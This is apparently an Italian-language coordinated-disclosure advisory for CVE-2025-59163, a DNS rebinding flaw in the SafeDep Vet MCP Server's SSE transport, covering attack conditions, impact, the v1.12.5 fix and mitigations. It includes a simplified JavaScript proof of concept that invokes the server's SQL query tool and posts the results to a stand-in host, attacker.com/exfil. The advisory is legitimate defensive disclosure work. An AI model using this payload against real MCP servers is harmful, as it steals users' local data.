Autore: Evan Harris
Rischio: Basso (CVSS 2.1/10)
Componente interessato: SafeDep Vet MCP Server
ID CVE: CVE-2025-59163
Versioni interessate: < v1.12.5
Versioni corrette: v1.12.5

Panoramica

Il SafeDep Vet MCP Server è vulnerabile ad attacchi di DNS rebinding quando viene eseguito con il trasporto SSE. La vulnerabilità deriva dalla mancata validazione delle intestazioni HTTP Host e Origin, che consente a siti web malevoli di aggirare le protezioni della Same-Origin Policy ed eseguire invocazioni di strumenti non autorizzate contro le istanze di Vet MCP.

Una volta che il DNS rebinding va a buon fine, un attaccante può stabilire una sessione con l’endpoint /sse, invocare gli strumenti MCP abilitati ed esfiltrare il contenuto del database SQLite di Vet dell’utente verso un server controllato dall’attaccante.

Il team di SafeDep ha risposto prontamente a questa divulgazione, rilasciando in pochi giorni una versione corretta (v1.12.5) che implementa la validazione delle intestazioni Host e Origin tramite una lista di autorizzazione.

Altri strumenti trattati su questo sito presentano lo stesso problema: Il Neo4j MCP Cypher Server è vulnerabile alla compromissione del database tramite DNS rebinding e Il server MCP Verify di Kluster espone gli utenti all’esaurimento dei crediti.

Dettagli tecnici

La vulnerabilità

Quando il Vet MCP Server viene eseguito con il trasporto SSE (--server-type sse), espone un endpoint HTTP che accetta connessioni da qualsiasi origine. Al server manca la validazione di:

  • Intestazione HTTP Host - consente richieste che dichiarano di provenire da qualsiasi dominio
  • Intestazione HTTP Origin - permette richieste cross-origin da siti web malevoli

Questa mancata validazione abilita attacchi di DNS rebinding, in cui:

  1. Un attaccante controlla un dominio con record DNS a TTL molto basso
  2. La vittima visita il sito web dell’attaccante (ad es. attacker.com)
  3. Il JavaScript dell’attaccante viene inizialmente risolto sull’IP dell’attaccante
  4. Dopo che il browser della vittima ha memorizzato in cache la connessione, il record DNS viene modificato in 127.0.0.1
  5. Le richieste successive da attacker.com puntano ora al localhost della vittima
  6. La Same-Origin Policy del browser viene aggirata perché l’origine rimane attacker.com

Configurazione vulnerabile

L’attacco richiede le seguenti condizioni:

  • Viene eseguita una scansione di Vet e i report vengono salvati in un database
  • Il Vet MCP Server è in esecuzione con il trasporto SSE abilitato
  • L’attaccante attira la vittima su un sito web controllato da lui

Vettore di attacco

L’attaccante sfrutta il DNS rebinding per:

  1. Stabilire una connessione a http://127.0.0.1:9988/sse
  2. Ottenere un ID di sessione MCP valido
  3. Inizializzare una sessione MCP
  4. Invocare lo strumento vet_query_execute_sql_query con query SQL di lettura arbitrarie
  5. Ricevere risposte tramite lo stream SSE
  6. Esfiltrare i dati verso un server controllato dall’attaccante

Scenario di attacco

Configurazione della vittima

Un ricercatore di sicurezza o uno sviluppatore:

  1. Installa Vet per la scansione delle vulnerabilità nelle dipendenze
  2. Esegue una scansione: vet scan -D /path/to/project
  3. Avvia il server MCP con trasporto SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Il server si associa a 127.0.0.1:9988 per impostazione predefinita

Sfruttamento da parte dell’attaccante

L’attaccante prepara l’infrastruttura di DNS rebinding:

  1. Configura un server DNS con record wildcard per un dominio (ad es. rebinder.attacker.com)
  2. Configura il server DNS in modo che restituisca inizialmente l’IP dell’attaccante e poi effettui il rebinding su 127.0.0.1
  3. Ospita un sito web malevolo con JavaScript che:
    • Rileva quando il DNS rebinding va a buon fine
    • Si connette all’endpoint SSE di Vet all’indirizzo http://127.0.0.1:9988/sse
    • Stabilisce una sessione MCP
    • Invoca query SQL contro il database della vittima
    • Esfiltra i risultati

Flusso di sfruttamento

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Alla vittima basta visitare il sito web dell’attaccante (ad es. tramite un link in un’email di phishing, un annuncio pubblicitario compromesso o un issue malevolo su GitHub) mentre il suo Vet MCP Server è in esecuzione.

Valutazione dell’impatto

Violazione della riservatezza

Impatto primario:

  • Accesso completo in lettura al database SQLite di scansione di Vet tramite lo strumento vet_query_execute_sql_query
  • Esposizione delle informazioni sulle vulnerabilità dei pacchetti, tra cui:
    • Nomi e versioni dei pacchetti in uso
    • CVE noti che interessano le dipendenze della vittima
    • Punteggi di gravità e dettagli delle vulnerabilità
    • Intelligence sulla catena di fornitura del software

Amplificazione del rischio:

  • Gli attaccanti acquisiscono intelligence sui pacchetti vulnerabili nell’ambiente della vittima
  • Le dipendenze e le versioni dei pacchetti rivelano dettagli dello stack tecnologico
  • Queste informazioni possono essere utilizzate per costruire exploit mirati

Requisiti dell’attacco

Fattori che limitano la sfruttabilità:

  • Interazione attiva dell’utente richiesta: La vittima deve visitare un sito web malevolo
  • Finestra temporale: Il Vet MCP Server deve essere attivamente in esecuzione con trasporto SSE
  • Requisito di configurazione: La vittima deve aver avviato esplicitamente il server con --server-type sse (non il trasporto stdio predefinito)
  • Basato su browser: L’attacco richiede un browser moderno con supporto per EventSource

Questi fattori contribuiscono alla classificazione di gravità bassa (CVSS 2.1/10) nonostante il potenziale di esfiltrazione dei dati.

Mitigazioni consigliate

Per gli utenti (immediato)

  1. Aggiornare alla v1.12.5 o successiva:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Usare il trasporto stdio (predefinito):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Isolamento di rete:
    • Eseguire il server MCP solo su reti attendibili
    • Utilizzare regole firewall per limitare l’accesso alla porta 9988
    • Evitare di navigare su siti web non attendibili mentre il server è in esecuzione

Per gli sviluppatori

Implementato nella v1.12.5:

  • Validazione dell’intestazione Host tramite una lista di autorizzazione
  • Validazione dell’intestazione Origin per prevenire richieste cross-origin
  • Rifiuto delle richieste con intestazioni di sicurezza non valide o mancanti

Buone pratiche per le implementazioni di server MCP:

  • Validare sempre le intestazioni Host e Origin per i trasporti basati su HTTP
  • Associarsi per impostazione predefinita solo a localhost (127.0.0.1) anziché a 0.0.0.0
  • Preferire il trasporto stdio rispetto ai trasporti basati su rete quando possibile
  • Documentare le implicazioni di sicurezza delle diverse modalità di trasporto
  • Implementare politiche CORS rigorose

Cronologia della divulgazione

  • 2025-08-30: Segnalazione iniziale della vulnerabilità inviata a SafeDep
  • 2025-09-01: SafeDep conferma la ricezione della segnalazione
  • 2025-09-02: SafeDep apre una pull request con una patch che implementa la validazione delle intestazioni
  • 2025-09-05: Viene rilasciata la versione corretta v1.12.5
  • 2025-09-29: Pubblicato il GitHub Security Advisory, data di divulgazione coordinata confermata da entrambe le parti
  • 2025-10-06: Pubblicato l’avviso tecnico

Conclusione

La vulnerabilità di DNS rebinding nel Vet MCP Server evidenzia un’importante considerazione di sicurezza per le implementazioni di MCP: i trasporti basati su rete richiedono un’attenta validazione delle intestazioni di sicurezza HTTP per prevenire attacchi cross-origin.

Sebbene l’attacco richieda condizioni specifiche (server MCP attivo con trasporto SSE, vittima che visita un sito web malevolo, finestra temporale), il potenziale di esfiltrazione dei dati ha giustificato una divulgazione e una correzione responsabili.

La risposta di SafeDep esemplifica pratiche di sicurezza responsabili:

  • Conferma immediata della segnalazione
  • Sviluppo e rilascio rapidi di una patch (5 giorni dalla segnalazione al rilascio)
  • Divulgazione coordinata tramite un GitHub Security Advisory
  • Comunicazione chiara durante tutto il processo

Tutti gli utenti che eseguono il Vet MCP Server con trasporto SSE dovrebbero aggiornare immediatamente alla v1.12.5. Per la maggior parte dei casi d’uso, il trasporto stdio predefinito offre un’alternativa più sicura.

Riferimenti